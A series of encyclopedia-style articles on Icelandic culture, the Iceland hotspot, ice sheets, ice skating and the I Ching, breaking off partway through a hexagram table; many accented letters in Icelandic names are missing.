          Contemporary Icelandic painting is typically traced to the work of rarinn orlksson, who, following formal training in art in the 1890s in Copenhagen, returned to Iceland to paint and exhibit works from 1900 to his death in 1924, almost exclusively portraying the Icelandic landscape. Several other Icelandic men and women artists learned in Denmark Academy at that time, including sgrmur Jnsson, who together with rarinn created a distinctive portrayal of Iceland's landscape in a romantic naturalistic style. Other landscape artists quickly followed in the footsteps of rarinn and sgrmur. These included Jhannes Kjarval and Jlana Sveinsdttir. Kjarval in particular is noted for the distinct techniques in the application of paint that he developed in a concerted effort to render the characteristic volcanic rock that dominates the Icelandic environment. Einar Hkonarson is an expressionistic and figurative painter who brought the figure back into Icelandic painting.


          Icelandic architecture draws from Scandinavian influences. The scarcity of native trees resulted in traditional houses being covered by grass and turf.


          


          Music


          Icelandic music is related to Nordic music, and includes vibrant folk and pop traditions, including medieval music group Voces Thules, alternative rock band The Sugarcubes, singers Bjrk and Emiliana Torrini; and Sigur Rs. The national anthem of Iceland is " Lofsngur", written by Matthas Jochumsson, with music by Sveinbjrn Sveinbjrnsson.
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          Traditional Icelandic music is strongly religious. Hallgrmur Ptursson wrote many Protestant hymns in the 17th century. Icelandic music was modernized in the 19th century, when Magns Stephensen brought pipe organs, which were followed by harmoniums.


          Other vital traditions of Icelandic music are epic alliterative and rhyming ballads called rmur. Rmur are epic tales, usually a cappella, which can be traced back to skaldic poetry, using complex metaphors and elaborate rhyme schemes. The best known rmur poet of the 19th century was Sigurur Breifjr (1798-1846). A modern revitalization of the tradition began in 1929 with the formation of the organization Iunn.


          Icelandic contemporary music consists of a big group of bands, ranging from pop-rock groups such as Bang Gang, Quarashi and Amiina to solo ballad singers like Bubbi Morthens, Megas and Bjrgvin Halldrsson. The indie-scene is also very strong in Iceland, bands such as Mm, Sigur Rs and the solo artist Mugison are fairly well-known outside Iceland.


          Many Icelandic artists and bands have had great success internationally, most notably Bjrk and Sigur Rs but also Quarashi, Ampop, Mnus and mm. The main music festival is arguably Iceland Airwaves, a yearly event on the Icelandic music scene, where Icelandic bands along with foreign ones occupy the clubs of Reykjavk for a week.


          Cuisine


          Most national Icelandic foods are based around fish, lamb and dairy products. orramatur is a national food consisting of many dishes and is usually consumed around the month of orri. Traditional dishes include skyr, cured ram scrota, cured shark, singed sheep heads and black pudding.


          The modern Icelandic diet is very diverse, and includes cuisines from all over the world. Like in other Western societies, fast food restaurants are widespread.


          


          Sports


          Sport is an important part of the Icelandic culture. The main traditional sport in Iceland is Glma, a form of wrestling, thought to have originated in medieval times.


          Children and teenagers participate in various leisure activities. Popular sports are football, track and field, handball and basketball. Others are golf, tennis, swimming, chess and horseback riding on Icelandic horses. Team handball is often referred to as a national sport, Iceland's team is one of the top-ranked teams in the world, and Icelandic women are surprisingly good at football compared to the size of the country, the national team ranked the 18th best by FIFA. Iceland has excellent conditions for ice and rock climbing, although mountain climbing and hiking is preferred by the general public. Iceland also has the most Strongman competition wins.


          The oldest sport association in Iceland is the Reykjavik Shooting Association, founded 1867. Rifle shooting became very popular in the 19th century and was heavily encouraged by politicians and others pushing for Icelandic independence. Shooting remains popular and all types of shooting with small arms is practised in the country.
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          The Iceland hotspot is a hotspot which is partly responsible for the high volcanic activity which has formed the island of Iceland.


          


          Description


          Iceland is one of the most active volcanic regions in the world, with eruptions occurring on average roughly every five years. About a third of the basaltic lavas erupted in recorded history have been produced by Icelandic eruptions. Notable eruptions have included that of Eldgj in 984 (the world's largest basaltic eruption ever witnessed), Laki in 1783 (the world's second largest), and several eruptions beneath ice caps, which have generated devastating glacial bursts, most recently in 1996.


          Iceland's location astride the Mid-Atlantic Ridge, where the Eurasian and North American Plates are moving apart, is partly responsible for this intense volcanic activity, but an additional cause is necessary to explain why Iceland is a substantial island while the rest of the ridge mostly consists of seamounts, with peaks below sea level.


          As well as being a region of higher temperature than the surrounding mantle, it is also believed to have a higher concentration of water. The presence of water in magma reduces the melting temperature, and this may also play a role in enhancing Icelandic volcanism.


          


          Theories of causation


          There is an ongoing discussion whether the hotspot is caused by a deep mantle plume or originates at a much shallower depth.


          Some geologists have questioned whether the Iceland hotspot has the same origin as other hotspots such as the Hawaii hotspot. While the Hawaiian island chain and the Emperor Seamounts show a clear time-progressive volcanic track caused by the movement of the Pacific Plate over the Hawaiian hotspot, no such track can be seen at Iceland.


          


          Mantle plume theory


          It is believed that a mantle plume underlies Iceland, of which the hotspot is thought to be the surface expression. This enhances the volcanism already caused by plate separation, both at the centre of the island and at the Reykjanes ridge to the southwest of Iceland's main volcanic zone. The plume is believed to be quite narrow, perhaps 100 km across, and extends down to at least 400650 km beneath the Earth's surface, and possibly down to the core-mantle boundary.


          Studies suggest that the hotspot is only 50-100 K hotter than its surroundings, which may not be a great enough difference to drive a buoyant plume.


          It is suggested that the lack of a time-progressive track is because the plume may have been located beneath the thick Greenland craton for a significant time.
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          An ice sheet is a mass of glacier ice that covers surrounding terrain and is greater than 50,000 km (20,000 mile). The only current ice sheets are in Antarctica and Greenland; during the last glacial period at Last Glacial Maximum ( LGM) the Laurentide ice sheet covered much of Canada and North America, the Weichselian ice sheet covered northern Europe and the Patagonian Ice Sheet covered southern South America.


          Ice sheets are bigger than ice shelves or glaciers. Masses of ice covering less than 50,000 km are termed an ice cap. An ice cap will typically feed a series of glaciers around its periphery.


          Although the surface is cold, the base of an ice sheet is generally warmer due to geothermal heat. In places, melting occurs and the melt-water lubricates the ice sheet so that it flows more rapidly. This process produces fast-flowing channels in the ice sheet  these are ice streams.


          The present-day polar ice sheets are relatively young in geological terms. The Antarctic Ice Sheet first formed as a small ice cap (maybe several) in the early Oligocene, but retreating and advancing many times until the Pliocene, when it came to occupy almost all of Antarctica. The Greenland ice sheet did not develop at all until the late Pliocene, but apparently developed very rapidly with the first continental glaciation. This had the unusual effect of allowing fossils of plants that once grew on present-day Greenland to be much better preserved than with the slowly forming Antarctic ice sheet.


          


          Antarctic ice sheet
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          The Antarctic ice sheet is the largest single mass of ice on Earth. It covers an area of almost 14 million km and contains 30 million km of ice. Around 90% of the fresh water on the Earth's surface is held in the ice sheet, and, if melted, would cause sea levels to rise by 61.1 meters. In East Antarctica the ice sheet rests on a major land mass, but in West Antarctica the bed is in places more than 2,500 meters below sea level. It would be seabed if the ice sheet were not there.


          


          Greenland ice sheet
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          The Greenland ice sheet occupies about 82% of the surface of Greenland, and if melted would cause sea levels to rise by 7.2 metres. Estimated changes in the mass of Greenland's ice sheet suggest it is melting at a rate of about 239 cubic kilometres (57.3 cubic miles) per year. These measurements came from NASA's Gravity Recovery and Climate Experiment (GRACE) satellite, launched in 2002, as reported by BBC News in August 2006 .


          


          Ice sheet dynamics


          Ice motion is dominated by the movement of glaciers, whose activity is controlled by a number of processes. Their motion is dominated by cyclic surges interspersed with longer periods of inactivity, on both hourly and centennial time scales.


          


          Predicted effects of global warming


          The Greenland, and probably the Antarctic, ice sheets have been losing mass recently, because losses due to melting and outlet glaciers have exceeded accumulation due to snowfall. According to the IPCC, loss of Antarctic ice sheet mass and Greenland ice sheet mass contributed, respectively, about 0.21  0.35 and 0.21  0.07mm/year to sea level rise between 1993 and 2003.


          The IPCC projects that ice mass loss from melting of the Greenland ice sheet will continue to outpace accumulation from snowfall. Accumulation from snowfall on the Antarctic ice sheet is projected to outpace losses from melting. However, loss of ice mass on the Antarctic ice sheet may continue, if there is sufficient loss of ice mass via outlet glaciers. According to the IPCC, scientific understanding of dynamical ice flow processes is currently "limited".
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          Ice skating is traveling on ice with skates, narrow (and sometimes parabolic) blade-like devices moulded into special boots (or, more primitively, without the boots, tied to regular footwear). People usually skate on frozen rivers and lakes and at skating rinks. It is mainly done for recreation and as a sport. Many musicals like Starlight Express have been performed on ice.


          


          History


          The exact time and process by which humans first learned to ice skate is not known, though archaeologists believe the activity was widespread. The convenience and efficiency of ice skating to cross large, icy areas is shown in archaeological evidence by the finding of primitive animal bone ice skates in places such as Russia, Scandinavia, Great Britain, the Netherlands, Germany, and Switzerland. The runners were made from bones of animals such as horse, cattle and reindeer. They were ground down until they formed a flat gliding surface, and thongs tied them to the feet. The skates were not used like contemporary skates. Instead they were used by straddling a pole which was used to push the user along. While only averaging 2.5 mph (4 kph) it used far less energy than trying to walk across frozen lakes. By comparison, modern skates use only about 25% of the energy of these primitive bone skates. Another study by Federico Formenti of the University of Oxford suggests that the earliest ice skating happened in Southern Finland some 4000 years ago.


          


          Earliest historical documentation
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          The first concrete mention of ice skating is found in a biography of Thomas Becket written by his former clerk William Fitzstephen in about 1180. The book includes a description of London, with its popular sports.


          
            When the great marsh that laps up against the northern walls of the city is frozen, large numbers of the younger crowd go there to play about on the ice... Others are more skilled at frolicking on the ice: they equip each of their feet with an animal's shin-bone, attaching it to the underside of their footwear; using hand-held poles reinforced with metal tips, which they periodically thrust against the ice, they propel themselves along as swiftly as a bird in flight or a bolt shot from a crossbow. But sometimes two, by accord, beginning far apart, charge each other from opposite directions and, raising their poles, strike each other with them. One or both are knocked down, not without injury, since after falling their impetus carries them off some distance and any part of their head that touches the ice is badly scratched and scraped. Often someone breaks a leg or an arm, if he falls onto [the ice].

          


          The sticks that Fitzstephen refers to were used for movement, as the primitive bone-made ice skates did not have sharp gliding edges like modern ice skates.


          The first depiction of ice skating in a work of art was made in the 15th century. The picture of Saint Lidwina, patron saint of ice skaters, falling on the ice, is included as an illustration in the 1498 edition of Lidwina's vita by Dutch franciscan John Brugman. It was the first work of art to feature ice skating as a main theme. Another important aspect of the painting is a man seen in the background who is skating on one leg. This means that the ice skates the man was wearing must have sharp edges similar to those found on modern ice skates.


          


          Development of skates


          Adding edges to ice skates was invented by the Dutch in the 13th or 14th century. These ice skates were made of steel, with sharpened edges on the bottom to aid movement. The construction of modern ice skates has remained largely the same. The only other major change in ice skate design came soon after. Around the same time period as steel edges were added to ice skates, another Dutchman, a table makers apprentice, experimented with the height to width ratio of the metal blade of the ice skates, producing a design that remains almost unaltered to this day. The user of the skates no longer needed to use sticks for propulsion, and movement on skates was now given more freedom and stability.


          


          Social status of ice skating
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          In the Netherlands, ice skating was considered proper for all classes of people to participate in, as shown in many pictures by the Old Masters. However, in other places, participation in ice skating was limited to members of the upper classes. Emperor Rudolf II of the Holy Roman Empire enjoyed ice skating so much he had a large ice carnival constructed in his court in 1610 in order to popularize the sport. James II of England came to the Netherlands in exile, and he fell for the sport. When he went back to England, this "new" sport was introduced to the British aristocracy. King Louis XVI of France brought ice skating to Paris during his reign. Madame de Pompadour, Napoleon I, Napoleon III, and the House of Stuart were, among others, royal and upper class fans of ice skating. It is said that Queen Victoria got to know her future husband, Prince Albert, better through a series of ice skating trips.


          


          How it works


          Ice skating works because the metal blade at the bottom of the ice skate shoe can glide with very little friction over the surface of the ice. However, slightly leaning the blade over and digging one of its edges into the ice ("rockover and bite") gives skaters the ability to increase friction and control their movement at will. In addition, by choosing to move along curved paths while leaning their bodies radially and flexing their knees, skaters can use gravity to control and increase their momentum. They can also create momentum by pushing the blade against the curved track which it cuts into the ice. Skillfully combining these two actions of leaning and pushing a technique known as "drawing" results in what looks like effortless and graceful curvilinear flow across the ice.


          Experiments show that ice has a minimum kinetic friction at 7C (19 F), and many indoor skating rinks set their system to a similar temperature. The low amount of friction actually observed has been difficult for physicists to explain, especially at lower temperatures. On the surface of any body of ice at a temperature above about 20 C (4 F), there is always a thin film of liquid water, ranging in thickness from only a few molecules to thousands of molecules. This is because an abrupt end to the crystalline structure is not the most entropically favorable possibility. The thickness of this liquid layer depends almost entirely on the temperature of the surface of the ice, with higher temperatures giving a thicker layer. However, skating is possible at temperatures much lower than 20 C, at which temperature there is no naturally occurring film of liquid.


          When the blade of an ice skate passes over the ice, the ice undergoes two kinds of changes in its physical state: an increase in pressure, and a change in temperature due to kinetic friction and the heat of melting. Direct measurements show that the heating due to friction is greater than the cooling due to the heat of melting. Although high pressure can cause ice to melt, by lowering its melting point, the pressure required is far greater than that actually produced by ice skates. Frictional heating does lead to an increase in the thickness of the naturally occurring film of liquid, but measurements with an atomic force microscope have found the boundary layer to be too thin to supply the observed reduction in friction.


          


          Dangers


          The first main danger in ice skating is falling on the ice, which is dependent on the quality of the ice surface, the design of the ice skate, and the skill and experience of the skater. While serious injury is rare, a number of ( short track) skaters have been paralyzed after a fall when they hit the boarding. An additional danger of falling is injury caused by the skater's own metal blades or those of other skaters.


          The second and more serious danger is the chance of falling through the ice into the freezing water underneath when skating outdoors. This can lead to serious injury or death due to shock, hypothermia or drowning. It is often difficult or impossible for skaters to climb out of the water back onto the ice due to the ice repeatedly breaking, the skater being weighed down by skates and thick winter clothing, or the skater becoming disoriented under water and being unable to find the entry hole which can lead to being trapped under the ice.


          


          Sports based on ice skating


          A number of sports are played while ice skating:


          
            	Figure skating is a sport in which individuals, mixed couples, or groups perform spins, jumps, and other moves on ice, often to music.


            	Bandy is a team sport played on ice, with sticks, a small ball and rules similar to those of field hockey.


            	Ice hockey is a team sport played on ice, where the objective of the game is to score goals by shooting a puck into the opponent's goal using a long stick with a blade that is commonly curved to accommodate the shooter's handedness.


            	Ringette is a team sport played on ice, where the objective of the game is to score goals by shooting a ring into the opponent's goal using a long bladeless stick.


            	Speed skating is a sport in which the competitors attempt to travel a certain distance as quickly as possible on skates.


            	Tour skating is a recreational activity where participants travel long distances by ice skating on natural ice.

          


          


          Communal games on ice


          A number of recreational activity games can be played on ice.


          
            	Rousette skating is a recreational event based on ice skating.


            	Various tagging games with different rules.

          


          


          Synthetic "ice"


          In recent years, a new surface made of plastic has been commercialised. Sheets of interconnected polyethylene panels covered with a thin film of grease allow skating with the same blades used for ice skating.
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          The I Ching (Wade-Giles), or Y Jīng (Pinyin); also called Book of Changes or Classic of Changes is one of the oldest of the Chinese classic texts. The book is a symbol system used to identify order in chance events. The text describes an ancient system of cosmology and philosophy that is intrinsic to ancient Chinese cultural beliefs. The cosmology centres on the ideas of the dynamic balance of opposites, the evolution of events as a process, and acceptance of the inevitability of change (see Philosophy, below). In Western cultures and modern East Asia, the I Ching is sometimes regarded as a system of divination. The classic consists of a series of symbols, rules for manipulating these symbols, poems, and commentary.
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              	I Ching
            


            
              	TraditionalChinese:

              	易 經
            


            
              	SimplifiedChinese:

              	易 经
            


            
              	HanyuPinyin:

              	Y Jīng
            


            
              	Literal meaning:

              	"Classic of Changes"
            


            
              	
                
                  
                    	Transliterations
                  


                  
                    	Mandarin
                  


                  
                    	- HanyuPinyin:

                    	Y Jīng
                  


                  
                    	- Wade-Giles:

                    	I4 Ching1
                  


                  
                    	Min
                  


                  
                    	- Min-nan POJ:

                    	e̍k-keng
                  


                  
                    	Yue (Cantonese)
                  


                  
                    	- Jyutping:

                    	jik6 ging1
                  


                  
                    	- IPA:

                    	jɪk22 kɪŋ55
                  

                

              
            

          


          


          Implications of the title


          
            	易 (y), when used as an adjective, means easy or simple, while as a verb it implies to change or 'to exchange/substitute one thing for another'.


            	經 (jīng) here means classic (text), derived from its original meaning of regularity or persistency, implying that the text describes the Ultimate Way which will not change throughout the flow of time. This same character was later appropriated to translate the Sanskrit word ' sūtra' into Chinese in reference to Buddhist scripture. In this sense the two concepts, in as much as they mean 'treatise,' 'great teaching,' or 'canonical scripture,' are equivalent.

          


          The I Ching is a "reflection of the universe in miniature." The word "I" has three meanings: ease and simplicity, change and transformation, and invariability. Thus the three principles underlying the I Ching are the following:


          
            	Simplicity - the root of the substance. The fundamental law underlying everything in the universe is utterly plain and simple, no matter how abstruse or complex some things may appear to be.


            	Variability - the use of the substance. Everything in the universe is continually changing. By comprehending this one may realize the importance of flexibility in life and may thus cultivate the proper attitude for dealing with a multiplicity of diverse situations.


            	Persistency - the essence of the substance. While everything in the universe seems to be changing, among the changing tides there is a persistent principle, a central rule, which does not vary with space and time.

          


          
            	
              
                	 易一名而含三義：易簡一也；變易二也；不易三也。 commented on by Zheng Xuan (鄭玄 zhng xan) in his writings Critique of I Ching (易贊 y zn) and Commentary on I Ching (易論 y ln) of Eastern Han Dynasty.

              

            

          


          


          History


          


          Traditional view


          Traditionally it was believed that the principles of the I Ching originated with the mythical Fu Xi (伏羲 F Xī). In this respect he is seen as an early culture hero, one of the earliest legendary rulers of China (traditional dates 2800 BCE-2737 BCE), reputed to have had the 8 trigrams (八卦 bā ga) revealed to him supernaturally. By the time of the legendary Yu (禹 Yǔ) 2194 BCE2149 BCE, the trigrams had supposedly been developed into 64 hexagrams (六十四卦 lu sh s ga), which were recorded in the scripture Lian Shan (《連山》 Lin Shān; also called Lian Shan Yi). Lian Shan, meaning continuous mountains in Chinese, begins with the hexagram Bound (艮 gn), which depicts a mountain (|) mounting on another and is believed to be the origin of the scripture's name.


          After the traditionally recorded Xia Dynasty was overthrown by the Shang Dynasty, the hexagrams are said to have been re-deduced to form Gui Cang (《歸藏》 Gūi Cng; also called Gui Cang Yi), and the hexagram Field (坤 kūn) became the first hexagram. Gui Cang may be literally translated into return and be contained, which refers to earth as the first hexagram itself indicates. At the time of Shang's last king, Zhou Wang, King Wen of Zhou is said to have deduced the hexagram and discovered that the hexagrams beginning with Force (乾 qin) revealed the rise of Zhou. He then gave each hexagram a description regarding its own nature, thus Gua Ci (卦辭 gu c, Explanation of Hexagrams).


          When King Wu of Zhou, son of King Wen, toppled the Shang Dynasty, his brother Zhou Gong Dan is said to have created Yao Ci (爻辭 yo c, Explanation of Horizontal Lines) to clarify the significance of each horizontal line in each hexagram. It was not until then that the whole context of I Ching was understood. Its philosophy heavily influenced the literature and government administration of the Zhou Dynasty (1122 BCE - 256 BCE).


          Later, during the time of Spring and Autumn (722 BCE - 481 BCE), Confucius is traditionally said to have written the Shi Yi (十翼 sh y, Ten Wings), a group of commentaries on the I Ching. By the time of Han Wu Di (漢武帝 Hn Wǔ D) of the Western Han Dynasty (circa 200 BCE), Shi Yi was often called Yi Zhuan (易傳 y zhan, Commentary on the I Ching), and together with the I Ching they composed Zhou Yi (周易 zhōu y, Changes of Zhou). All later texts about Zhou Yi were explanations only, due to the classic's deep meaning.


          


          Modernist view


          In the past 50 years a Modernist history of the I Ching has been emerging, based on context criticism and research into Shang and Zhou dynasty oracle bones, as well as Zhou bronze inscriptions and other sources (see below). These reconstructions are dealt with in a growing number of books, such as The Mandate of Heaven: Hidden History in the I Ching, by S. J. Marshall, and Richard Rutt's Zhouyi: The Book of Changes, (see References, below).


          Scholarly works dealing with the new view of the Book of Changes include doctoral dissertations by Richard Kunst and Edward Shaughnessy and a 2008 study by Richard J. Smith. These and other scholars have been helped immensely by the discovery, in the 1970s, by Chinese archaeologists, of intact Han dynasty era tombs in Mawangdui near Changsha, Hunan province. One of the tombs contained more or less complete 2nd century BC texts of the I Ching, the Dao De Jing and other works, which are mostly similar yet in some ways diverge significantly from the received, or traditional, texts preserved historically.


          The tomb texts include additional commentaries on the I Ching, previously unknown, and apparently attributed to Confucius. All of the Mawangdui texts are many centuries older than the earliest known attestations of the texts in question. When talking about the evolution of the Book of Changes, therefore, the Modernists contend that it is important to distinguish between the traditional history assigned to texts such as the I Ching (felt to be anachronistic by the Modernists), assignations in commentaries which have themselves been canonized over the centuries along with their subjects, and the more recent scholarly history aided by modern linguistic textual criticism and archaeology.


          Many hold that these perspectives are not necessarily mutually exclusive, but, for instance, many Modernist scholars doubt the actual existence of Fuxi, or think Confucius had nothing to do with the Book of Changes, and contend that the hexagrams came before the trigrams. Modern scholarship comparing poetic usage and formulaic phrasing in this book with that in ancient bronze inscriptions has shown that the text cannot be attributed to King Wen or Zhou Gong, and that it likely was not compiled until the late Western Zhou, perhaps ca. the late 9th century BC.


          Rather than being the work of one or several legendary or historical figures, the core divinatory text is now thought to be an accretion of Western Zhou divinatory concepts. As for the Shi Yi commentaries traditionally attributed to Confucius, scholars from the time of the 11th century A.D. scholar Ouyang Xiu onward have doubted this, based on textual analysis, and modern scholars date most of them to the late Warring States period (403/475 BC-256/221 BC), with some sections perhaps being as late as the Western Han period (206 BC-220 AD).


          


          Structure


          The text of the I Ching is a set of predictions represented by a set of 64 abstract line arrangements called hexagrams (卦 gu). Each hexagram is a figure composed of six stacked horizontal lines (爻 yo), where each line is either Yang (an unbroken, or solid line), or Yin (broken, an open line with a gap in the centre). With six such lines stacked from bottom to top there are 26 or 64 possible combinations, and thus 64 hexagrams represented.


          The hexagram diagram is conceptually subdivided into two three-line arrangements called trigrams (卦 gu). There are 23, hence 8, possible trigrams. The traditional view was that the hexagrams were a later development and resulted from combining the two trigrams. However, in the earliest relevant archaeological evidence, groups of numerical symbols on many Western Zhou bronzes and a very few Shang oracle bones, such groups already usually appear in sets of six. A few have been found in sets of three numbers, but these are somewhat later. Note also that these numerical sets greatly predate the groups of broken and unbroken lines, leading modern scholars to doubt the mythical early attributions of the hexagram system (see, e.g., Shaugnessy 1993).


          Each hexagram represents a description of a state or process. When a hexagram is cast using one of the traditional processes of divination with I Ching, each of the yin or yang lines will be indicated as either moving (that is, changing), or fixed (that is, unchanging). Moving (also sometimes called old, or unstable) lines will change to their opposites, that is young lines of the other type -- old yang becoming young yin, and old yin becoming young yang.


          The oldest method for casting the hexagrams, using yarrow stalks, is a biased random number generator, so the possible answers are not equiprobable. While the probability of getting either yin or yang is equal, the probability of getting old yang is three times greater than old yin. The yarrow stalk method was gradually replaced during the Han Dynasty by the three coins method. Using this method, the imbalance in generating old yin and old yang was eliminated. However, there is no theoretical basis for indicating what should be the optimal probability basis of the old lines versus the young lines. Of course, the whole idea behind this system of divination is that the oracle will select the appropriate answer anyway, regardless of the probabilities.


          There have been several arrangements of the trigrams and hexagrams over the ages. The bā ga is a circular arrangement of the trigrams, traditionally printed on a mirror, or disk. According to legend, Fu Hsi found the bā ga on the scales of a tortoise's back. They function rather like a magic square, with the four axes summing to the same value (e.g., using 0 and 1 to represent yin and yang, 000 + 111 = 111, 101 + 010 = 111, etc.).


          The King Wen sequence is the traditional (i.e. classical) sequence of the hexagrams used in most contemporary editions of the book. The King Wen sequence was explained for the first time in STEDT Monograph #5, where it is shown to contain within it a demonstration of advanced mathematical knowledge.


          
            [image: The eight trigrams]

            
              The eight trigrams
            

          


          


          Trigrams


          The solid line represents yang, the creative principle. The open line represents yin, the receptive principle. These principles are also represented in a common circular symbol (☯), known as taijitu (太極圖), but more commonly known in the west as the yin-yang (陰陽) diagram, expressing the idea of complementarity of changes: when Yang is at top, Yin is increasing, and the reverse.


          In the following lists, the trigrams and hexagrams are represented using a common textual convention, horizontally from left-to-right, using '|' for yang and '' for yin, rather than the traditional bottom-to-top. In a more modern usage, the numbers 0 and 1 can also be used to represent yin and yang, being read left-to-right.


          There are eight possible trigrams (八卦 bāgu):


          
            
              	

              	Trigram Figure

              	Binary Value

              	Name

              	Translation: Wilhelm, others

              	Image in Nature

              	Direction

              	Family Relationship

              	Body Part

              	Attribute

              	Stage/ State

              	Animal
            


            
              	1

              	☰

              	111

              	乾

              qin

              	the Creative, Force

              	heaven, aether

              天

              	northwest

              	father

              	head

              	strong

              	creative

              	horse
            


            
              	2

              	☱

              	110

              	兌

              du

              	the Joyous, Open

              	swamp, marsh

              澤

              	west

              	third daughter

              	mouth

              	pleasure

              	tranquil (complete devotion)

              	sheep
            


            
              	3

              	☲

              	101

              	離

              l

              	the Clinging, Radiance

              	fire

              火

              	south

              	second daughter

              	eye

              	light-giving, dependence

              	clinging, clarity, adaptable

              	pheasant
            


            
              	4

              	☳

              	100

              	震

              zhn

              	the Arousing, Shake

              	thunder

              雷

              	east

              	first son

              	foot

              	inciting movement

              	initiative

              	dragon
            


            
              	5

              	☴

              	011

              	巽

              xn

              	the Gentle, Ground

              	wind

              風

              wood

              	southeast

              	first daughter

              	thigh

              	penetrating

              	gentle entrance

              	fowl
            


            
              	6

              	☵

              	010

              	坎

              kǎn

              	the Abysmal, Gorge

              	water

              水

              	north

              	second son

              	ear

              	dangerous

              	in-motion

              	pig
            


            
              	7

              	☶

              	001

              	艮

              gn

              	Keeping Still, Bound

              	mountain

              山

              	northeast

              	third son

              	hand

              	resting, stand-still

              	completion

              	wolf, dog
            


            
              	8

              	☷

              	000

              	坤

              kūn

              	the Receptive, Field

              	earth

              地

              	southwest

              	mother

              	belly

              	devoted, yielding

              	receptive

              	cow
            

          


          The first three lines of the hexagram, called the lower trigram, are seen as the inner aspect of the change that is occurring. The upper trigram (the last three lines of the hexagram), is the outer aspect. The change described is thus the dynamic of the inner (personal) aspect relating to the outer (external) situation. Thus, hexagram 04 || Enveloping, is composed of the inner trigram ☵ Gorge, relating to the outer trigram ☶ Bound.


          


          Hexagram Lookup Table


          
            
              	
                Upper 


                Lower 

              

              	
                ||| (☰)


                Qian

                Heaven

              

              	
                | (☳)


                Zhen

                Thunder

              

              	
                | (☵)


                Kan

                Water

              

              	
                | (☶)


                Gen

                Mountain

              

              	
                 (☷)


                Kun

                Earth

              

              	
                || (☴)


                Xun

                Wind

              

              	
                || (☲)


                Li

                Flame

              

              	
                || (☱)


                Dui

                Swamp

              
            


            
              	
                ||| (☰)


                Qian

                Heaven

              

              	1

              	34

              	5

              	26

              	11

              	9

              	14

              	43
            


            
              	
                |(☳)


                Zhen

                Thunder

              

              	25

              	51

              	3

              	27

              	24

              	42

              	21

              	17
            


            
              	
                | (☵)


                Kan

                Water

              

              	6

              	40

              	29

              	4

              	7

              	59

              	64

              	47
            


            
              	
                | (☶)


                Gen

                Mountain

              

              	33

              	62

              	39

              	52

              	15

              	53

              	56

              	31
            


            
              	
                 (☷)


                Kun

                Earth

              

              	12

              	16

              	8

              	23

              	2

              	20

              	35

              	45
            


            
              	
                || (☴)

                Xun

                Wind

              

              	44

              	32

              	48

              	18

              	46

              	57

              	50

              	28
            


            
              	
                || (☲)

                Li

                Flame

              

              	13

              	55

              	63

              	22

              	36

              	37

              	30

              	49
            


            
              	
                || (☱)

                Dui

                Swamp

              

              	10

              	54

              	60

              	41

              	19

              	61

              	38

              	58
            

          


          


          The hexagrams


          The text of the I Ching describes each of the 64 hexagrams, and later scholars added commentaries and analyses of each one; these have been subsumed into the text comprising the I Ching.


          Each hexagram's common translation is accompanied by the corresponding R. Wilhelm translation, which is the source for the Unicode names.


          
            
              	
                
                  
                    	Hexagram

                    	R. Wilhelm

                    	Modern Interpretation
                  


                  
                    	01. |||||| Force (乾 qin)

                    	The Creative

                    	Possessing Creative Power & Skill
                  


                  
                    	02.  Field (坤 kūn)

                    	The Receptive

                    	Needing Knowledge & Skill
                  


                  
                    	03. || Sprouting (屯 chn)

                    	Difficulty at the Beginning

                    	Sprouting
                  


                  
                    	04. || Enveloping (蒙 mng)

                    	Youthful Folly

                    	Detained, Enveloped
                  


                  
                    	05. |||| Attending (需 xū)

                    	Waiting

                    	Uninvolvement (Wait for now)
                  


                  
                    	06. |||| Arguing (訟 sng)

                    	Conflict

                    	Engagement in Conflict
                  


                  
                    	07. | Leading (師 shī)

                    	The Army

                    	Bringing Together
                  


                  
                    	08. | Grouping (比 bǐ)

                    	Holding Together

                    	Union
                  


                  
                    	09. ||||| Small Accumulating (小畜 xiǎo ch)

                    	Small Taming

                    	Temporary Restraint
                  


                  
                    	10. ||||| Treading (履 lǚ)

                    	Treading (Conduct)

                    	Continuing with Alertness
                  


                  
                    	11. ||| Prevading (泰 ti)

                    	Peace

                    	Pervading
                  


                  
                    	12. ||| Obstruction (否 pǐ)

                    	Standstill

                    	Stagnation
                  


                  
                    	13. ||||| Concording People (同人 tng rn)

                    	Fellowship

                    	Fellowship, Partnership
                  


                  
                    	14. ||||| Great Possessing (大有 d yǒu)

                    	Great Possession

                    	Independence, Freedom
                  


                  
                    	15. | Humbling (謙 qiān)

                    	Modesty

                    	Being Reserved, Refraining
                  


                  
                    	16. | Providing-For (豫 y)

                    	Enthusiasm

                    	Inducement, New Stimulus
                  


                  
                    	17. ||| Following (隨 su)

                    	Following

                    	Flourishing
                  


                  
                    	18. ||| Corrupting (蠱 gǔ)

                    	Work on the Decayed

                    	Decaying
                  


                  
                    	19. || Nearing (臨 ln)

                    	Approach

                    	Approaching Goal
                  


                  
                    	20. || Viewing (觀 guān)

                    	Contemplation

                    	The Withholding
                  


                  
                    	21. ||| Gnawing Bite (噬嗑 sh k)

                    	Biting Through

                    	Compensation
                  


                  
                    	22. ||| Adorning (賁 b)

                    	Grace

                    	Entrapping, Deception, Lure
                  


                  
                    	23. | Stripping (剝 bō)

                    	Splitting Apart

                    	Stripping, Flaying
                  


                  
                    	24. | Returning (復 f)

                    	Return

                    	Recovering
                  


                  
                    	25. |||| Without Embroiling (無妄 w wng)

                    	Innocence

                    	Unanticipated Outcome
                  


                  
                    	26. |||| Great Accumulating (大畜 d ch)

                    	Great Taming

                    	Anticipated Outcome
                  


                  
                    	27. || Swallowing (頤 y)

                    	Mouth Corners

                    	Fulfillment
                  


                  
                    	28. |||| Great Exceeding (大過 d gu)

                    	Great Preponderance

                    	Nonfulfillment
                  


                  
                    	29. || Gorge (坎 kǎn)

                    	The Abysmal Water

                    	Darkness, Gorge
                  


                  
                    	30. |||| Radiance (離 l)

                    	The Clinging

                    	Brightness
                  


                  
                    	31. ||| Conjoining (咸 xin)

                    	Influence

                    	Attraction
                  


                  
                    	32. ||| Persevering (恆 hng)

                    	Duration

                    	Perseverance
                  

                

              

              	
                
                  
                    	Hexagram

                    	R. Wilhelm

                    	Modern Interpretation
                  


                  
                    	33. |||| Retiring (遯 dn)

                    	Retreat

                    	Withdrawing
                  


                  
                    	34. |||| Great Invigorating (大壯 d zhung)

                    	Great Power

                    	Resurrecting
                  


                  
                    	35. || Prospering (晉 jn)

                    	Progress

                    	Expansion, Promotion
                  


                  
                    	36. || Brightness Hiding (明夷 mng y)

                    	Darkening of the Light

                    	Injury, Persecution
                  


                  
                    	37. |||| Dwelling People (家人 jiā rn)

                    	The Family

                    	Community
                  


                  
                    	38. |||| Polarising (睽 ku)

                    	Opposition

                    	Division, Divergence
                  


                  
